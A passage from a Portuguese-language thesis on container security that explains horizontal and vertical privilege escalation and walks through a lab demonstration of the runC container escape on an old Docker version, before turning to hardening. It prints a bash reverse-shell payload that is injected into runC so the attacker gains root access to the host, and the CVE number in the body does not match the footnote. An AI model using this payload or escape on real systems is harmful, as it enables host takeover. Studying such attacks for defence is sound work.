Aumento de Privilégios

Apesar de os ataques demonstrados anteriormente serem, em cada um dos seus domínios, devastadores, nenhum se compara ao aumento de privilégios. Ganhar controlo de um contentor remotamente parece assustador, mas se este estiver bem configurado e contiver privilégios reduzidos, pouco ou nada o atacante consegue fazer. Nesses casos, é necessário recorrer a ataques de aumento de privilégios para ganhar os acessos e capacidades necessárias para escalar o ataque.

Enquanto que podem ter origem em más configurações, na maior parte das vezes é necessário explorar vulnerabilidades específicas para conseguir o aumento de privilégios. A grande maioria destas vulnerabilidades são corrigidas em segredo, raramente chegando ao conhecimento do público. As poucas que são divulgadas, são corrigidas em questões de horas, precisamente devido ao risco que impõem. A descoberta destas vulnerabilidades está normalmente associada a investigadores de cibersegurança e a hackers de elite.

O aumento de privilégios, por si só, não costuma ser uma ameaça. Por norma, é utilizado na preparação de ataques mais específicos e sofisticados, permitindo aos atacantes executar código malicioso nos sistemas alvo. Este ataque é essencial para garantir uma permanência duradoura nos sistemas alvo e, por isso, é quase sempre empregue por atacantes associados a ameaças avançadas persistentes.

Os atacantes começam por explorar uma vulnerabilidade no sistema alvo que lhes permita alterar as limitações do utilizador a que têm acesso, e realizar o aumento de privilégios que pode ser horizontal ou vertical. O aumento de privilégios horizontal permite ao atacante aceder a funcionalidades ou informação de outro utilizador, que não deveriam estar disponíveis a este. Efetivamente, a conta de utilizador empregue pelo atacante mantém os mesmos privilégios.

O aumento de privilégios vertical é potencialmente mais perigoso, ao atribuir ao utilizador as capacidades de, por exemplo, uma conta do nível administrador. Para além de permitir a realização de ataques devastadores, ao executar código e aceder a ficheiros livremente, permite também o encobrimento do ataque através da eliminação de logs. O encobrimento do ataque e

eliminação de provas é um requisito fundamental para um ataque bem-sucedido, normalmente apenas ao alcance de hackers mais experientes, podendo deixar as vítimas completamente alheias ao acontecimento.

Este tipo de ataques explora vulnerabilidades particulares a arquiteturas, sistemas operati- vos e aplicações, pelo que a demonstração seguinte funcionará apenas no cenário especificado. • Descrição da demonstração

O ataque que será demonstrado corresponde à vulnerabilidade CVE-2019-57368. Esta vulne- rabilidade explora um erro presente no motor de contentorização runC na versão 1.0-rc6, que foi utilizado até à versão 18.09.2 do Docker. Este erro permite a um atacante reescrever ou inserir um excerto de código malicioso no runC, que executa com privilégios elevados. O runC é sempre chamado aquando da criação de um contentor, ou quando se inicia uma ligação a um contentor com o comando Docker exec, o que permite ao atacante aumentar os seus privilégios verticalmente através do código injetado.

Esta vulnerabilidade foi rapidamente corrigida após ter sido descoberta (ou pelo menos revelada publicamente) no início de 2019, pelo que as versões atuais já não estão vulneráveis. Isto faz com que apenas seja possível realizar o ataque em versões obsoletas do Docker, tornando o cenário de exploração bastante específico.

Devido à complexidade exigida pelo ataque, e à abundância de provas de conceito disponí- veis online, decidiu-se alterar uma ferramenta já disponível, em vez de estar a reinventar a roda. A versão utilizada é um programa escrito em Golang que adiciona um payload ao runC e que será utilizado para escapar dos limites do contentor, concretizando assim a fuga. No caso desta demonstração, o payload será precisamente a reverse shell utilizada anteriormente. Após iniciar o contentor malicioso, e com o atacante à escuta de uma shell remota, será possível navegar pelo sistema de ficheiros do hospedeiro, com privilégios elevados.

• Ambiente de teste

Será utilizado um computador a correr o sistema operativo Windows, que irá iniciar uma máquina virtual Linux. Dentro desta máquina virtual, será lançado o contentor Docker, que irá realizar o aumento de privilégios e a fuga. Esta configuração foi escolhida devido ao cariz destrutivo do ataque. Seguem-se as especificações do sistema:

• Hospedeiro: Windows 10 Pro – 18362.

– Surface Pro 6, 4-core @ 3.4GHz, 8GB RAM. • Máquina virtual: Linux Ubuntu – 18.04.3 LTS.

– Hyper-V, 2-Core @ 3.4GHz, 4GB RAM.

• Tecnologia de contentorização: Docker Community Edition - 18.03.1. – Configurações por omissão.

• Demonstração do ataque

Assim como nos exemplos anteriores, o primeiro passo é construir o contentor com o código malicioso. O código, disponível em rodapé9, foi previamente alterado com o payload, que corresponde à linha de comandos a ser executada com privilégios elevados, no hospedeiro.

8_{https://nvd.nist.gov/vuln/detail/CVE-2019-5736}

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/172.17.161.1/5555 0>&1"

De seguida, e à semelhança do ataque anterior, coloca-se o sistema atacante à escuta de uma ligação, numa porta e endereço IP. Este endereço e porta foram previamente colocados no

payload do contentor alvo. Com as preparações feitas, pode lançar-se o contentor malicioso.

Figura 4.10: Fuga de um contentor seguido de reverse shell.

No sistema atacante, é agora possível navegar pelo hospedeiro que continha o contentor, neste caso a máquina virtual Linux. Pelo caminho visível na linha de comandos, é possível verificar que, ao realizar a fuga, somos colocados imediatamente fora do contentor, dentro dos diretórios do Docker e containerd. O id presente na linha de comandos é também o id do contentor que foi atacado. Navegando até ao diretório /home/john/Desktop, pode observar-se o ficheiro utilizado para realizar o aumento de privilégios e a Dockerfile utilizada para criar a imagem do contentor. Ênfase no elevado número de processos em execução – que é invulgar em contentores – e no facto de ser possível observar o próprio processo que lançou o contentor, comprovando, assim, que o ataque teve sucesso. De salientar que, fora do contentor, é mantido o nível de privilégios utilizado pela função que executou o payload, de nível root.

CAPÍTULO

5

Segurança em Contentores

Após ter sido feito o estudo de vulnerabilidades, a ideia que poderá ter ficado é que se está a tentar forçar o abandono da tecnologia. Isto não está, evidentemente, correto. É de esperar que os contentores, assim como todas as outras tecnologias, contenham vulnerabilidades. Um grande número de organizações, incluindo empresas como a Netflix, Google e Amazon, assentam muitos dos seus serviços e infraestruturas em tecnologias de contentorização, não podendo prescindir a qualquer custo desta tecnologia. A solução não está, por isso, em abandonar a tecnologia, mas sim em tentar mitigar as suas vulnerabilidades.

Para combater estes problemas, neste capítulo estudam-se as configurações disponíveis que permitem mitigar ou eliminar vulnerabilidades conhecidas, assim como padrões e ferramentas para verificar as configurações efetuadas. De seguida, põem-se à prova o robustecimento efetuado, realizando novamente os testes do capítulo anterior.